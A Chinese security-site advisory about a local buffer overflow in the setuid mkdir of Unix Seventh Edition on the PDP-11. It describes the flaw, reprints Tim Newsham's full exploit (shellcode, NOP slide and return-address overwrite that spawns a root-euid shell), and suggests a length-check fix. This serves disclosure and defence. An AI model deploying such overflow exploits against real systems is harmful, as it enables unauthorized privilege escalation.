首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mkdir本地缓冲区溢出漏洞
来源:vfocus.net 作者:vfocus 发布时间:2004-06-08  

Mkdir本地缓冲区溢出漏洞

受影响系统:
Bell Labs Unix Seventh Edition
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 10462

mkdir是用户用于建立目录的工具。

mkdir在处理路径数据时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以root权限在系统上执行任意指令。

Mkdir通过set-user-id机制获得root用户权限使用mknod系统调用建立目录,在建立子目录前,mkdir先验证新目录是否存在,并且用户可访问此目录,在执行测试过程中,mkdir拷贝用户提供的路径到固定的临时缓冲区,这有mkdir()函数完成。

mkdir()函数先查找提供路径中最后路径分隔符('/'),然后拷贝所有数据到pname缓冲区,由于pname缓冲区只有128字节长度,用户提供路径超长,可能发生缓冲区溢出。

攻击者在UNIX 7th Edition系统上可成功获得root用户权限。

<*来源:Tim Newsham (newsham@lava.net)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108627540130457&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Tim Newsham (newsham@lava.net)提供了如下测试方法:

/*
* Exploit for /bin/mkdir Unix V7 PDP-11.
* mkdir has a buffer overflow when checking if the directory
* in /arg/with/slashes/fname exists.
*
* This will run /bin/sh with euid 0, but not uid 0. Since
* the shell doesn't do anything special about this, we don't
* really care. If you care, run setuid(0); execl("/bin/sh", 0);
*/

/*
.globl _main
_main:
mov pc,r1
sub $-[sh-_main-2], r1 / pointer to sh
mov r1, r2
sub $-8, r2
clrb -1(r2) / null terminate
mov r1, r2
clr -(r1) / char *env[] = {0}
mov r1, r3
mov r2, -(r1) / char *argv[] = {sh, 0}
mov r1, r4
mov r3, -(r1) / reverse of sh,argv,env
mov r4, -(r1)
mov r2, -(r1)
sys 59.; 11111; 11111; 11111 / call execve
argv: 11111; 11111
sh: </bin/sh>
*/

char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
0102, 020, 041, 012, 0103, 020, 0241, 020,
0104, 020, 0341, 020, 041, 021, 0241, 020,
073, 0211, 0111, 022, 0111, 022, 0111, 022,
0111, 022, 0111, 022, 057, 0142, 0151, 0156,
057, 0163, 0150, 0 };

#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0

main(argc, argv)
int argc;
char **argv;
{
char buf[400];
int i;
char *argv2[4];

/* nop slide + egg */
for(i = 0; i < NOPSLIDE; ) {
buf[i++] = 0301;
buf[i++] = 021;
}
strcpy(buf + i, egg);

/* pad out to CNT */
for(i = strlen(buf); i < CNT; i++)
buf[i] = 'a';

/* overwrite retaddr */
buf[i++] = PC & 0xff;
buf[i++] = PC >> 8;

/* extra stuff */
buf[i++] = '/';
buf[i++] = 'a';
buf[i++] = 0;

argv2[0] = "/bin/mkdir";
argv2[1] = buf;
argv2[2] = 0;
execv(argv2[0], argv2);
return 0;
}

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 建议在/usr/src/cmd/mkdir.c中mkdir()函数开始处增加如下检查:

if(strlen(d) >= 126) {
fprintf(stderr, "mkdir: path is too long\n");
++Errors;
return;
}

此方法没有经过测试。

厂商补丁:

Bell Labs
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://museum.sysun.com/museum/unix7.html



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Metamail Buffer Overflow Explo
·Colin McRae Rally DoS Exploit
·Symantec Firewall DNS Response
·RedHat 8x LPRng autorooter
·Apache/1.3.27 - Remote Root Ex
·Remote exploit for Apache + Op
·mkdir buffer overflow UNIX 7th
·Borland Interbase 7.x and belo
·Mollensoft FTP Server CMD Buff
·Subversion svn_time_from_cstri
·BNBT BitTorrent Tracker DoS Ex
·Squid STABLE NTLM authenticate
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved